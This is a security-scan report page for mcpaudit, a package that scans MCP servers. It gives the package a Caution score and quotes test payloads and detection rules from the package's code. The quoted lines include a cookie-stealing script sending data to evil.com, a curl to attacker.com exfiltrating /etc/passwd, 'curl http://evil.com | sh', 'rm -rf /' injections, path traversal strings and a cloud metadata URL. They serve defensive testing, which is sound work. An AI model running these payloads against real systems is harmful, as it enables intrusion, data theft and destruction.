mcpaudit@2.1.0
CAUTION· not startedPublisher claims: "Security scanner for MCP servers — Python + TypeScript/JavaScript + Go, zero dependencies, 57+ rules, SBOM generation, remediation playbooks, regression detection, plugin system, live scanner, fleet scanning, policy engine, OWASP Agentic Top 10" Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
API_KEYConfiguration, not credentials: MCPAUDIT_NO_COLOR- Where it talks to
- mcpaudit.dev (its own)Also no-color.org, jsdelivr.net, evil.com, attacker.com, google.internal, githubusercontent.com, mitre.org — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names no-color.org, jsdelivr.net, evil.com, attacker.com, google.internal, githubusercontent.com, mitre.org as well as its own vendor. The guard injects API_KEY only into requests to mcpaudit.dev (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-10 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: document.cookie access; Access to sensitive file paths; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
"'http://evil.com/?c='+document.cookie</script>"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.path=f"mcpServers.{server_name}.env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.re.compile(r'(?:os\.environ|os\.getenv|environ\[|process\.env)', re.IGNORECASE)),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# If response contains /etc/passwd content, it failedFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.path=f"mcpServers.{server_name}.env.{key}",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."alert(", "document.cookie",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.payload="javascript:alert(document.cookie)",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.".env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."""Detect os.system() calls."""Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.description="Detects os.system() calls (shell injection risk)",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.payload="| cat /etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.severity=_S.CRITICAL, affected_patterns=["subprocess.call(", "os.system(", "shell=True"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.payload="../../../etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.payload="|| rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.payload="|| rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."arguments": {"path": "../../../etc/passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.payload="$(curl http://attacker.com/?d=$(cat /etc/passwd))",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.path=f"mcpServers.{server_name}.env.{key}",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.payload="http://0x7f000001/admin",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.payload="http://169.254.169.254/latest/meta-data/",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."title": "Shell command via os.system()",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.if "os.system(" in line:Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.payload="....//....//....//etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."Pass secrets via environment variables instead of command args."Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.if "os.system(" in line:Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.source = 'subprocess.run("ls", shell=True)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."code_before": 'subprocess.run(f"ls {user_input}", shell=True)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."code_snippet": "subprocess.run(cmd, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.source = 'const accessKey = "AKIAIOSFODNN7EXAMPLE";\n'Fix: Never read or enumerate credential locations; accept a documented environment variable instead.findings = [_make_finding(code_snippet="subprocess.call(input)")]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."code_after": 'subprocess.run(["ls", user_input], shell=False)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."server": {"command": "node", "args": ["cmd; rm -rf /"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."args": ["-c", "curl http://evil.com | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."code_after": 'subprocess.run(["rm", filename], check=True)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.severity=_S.CRITICAL, affected_patterns=["subprocess.call(", "os.system(", "shell=True"],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.return subprocess.call(cmd, shell=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.source = 'import subprocess\ndef run(x):\n subprocess.call("echo " + x)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.source = 'import subprocess\ndef run(cmd):\n subprocess.run(f"echo {cmd}", shell=True)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.source = 'subprocess.run("ls", shell=True)\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.code: str = "subprocess.run(cmd, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."server": {"command": "node", "args": ["cmd; rm -rf /"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.assert "/etc/config.json" in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why."code_before": 'subprocess.run(["git", action], check=True)',Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.file="bad.py", line=5, code_snippet="subprocess.run(x, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.payload="/etc/passwd%00.txt",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.self._process = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.'subprocess.run(["git", action], check=True)'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.f = _make_finding(code_snippet="subprocess.call(input)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.f2 = _make_finding(code="subprocess.call(cmd)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.payload="%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.line: int = 10, code: str = "subprocess.run(cmd)") -> dict:Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."url": "http://user:pass@localhost:3000"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.# The rule detects res.json/send with error objects — even generic onesFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.code_snippet="subprocess.run(cmd, shell=True)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.f2 = _make_finding(code="subprocess.run(cmd)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."args": ["-c", "curl http://evil.com | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.f1 = _make_finding(code=" subprocess.run(cmd) ")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."code_snippet": "subprocess.call(user_input)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."recommendation": "Use subprocess.run() with shell=False",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.assert ann["raw_details"] == "subprocess.call(input)"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.source = 'token = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij"\n'Fix: Never read or enumerate credential locations; accept a documented environment variable instead.'"ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij";\n'Fix: Never read or enumerate credential locations; accept a documented environment variable instead.f1 = _make_finding(code="subprocess.run(cmd)")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for mcpaudit@2.1.0 as of 4d ago. This is the package itself, not its dependencies.
What would make this Verified
12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- URL to the cloud instance metadata address≈ +9 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Unclaimed publisher≈ +8 on the totalClaim cmiretf: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- document.cookie access≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.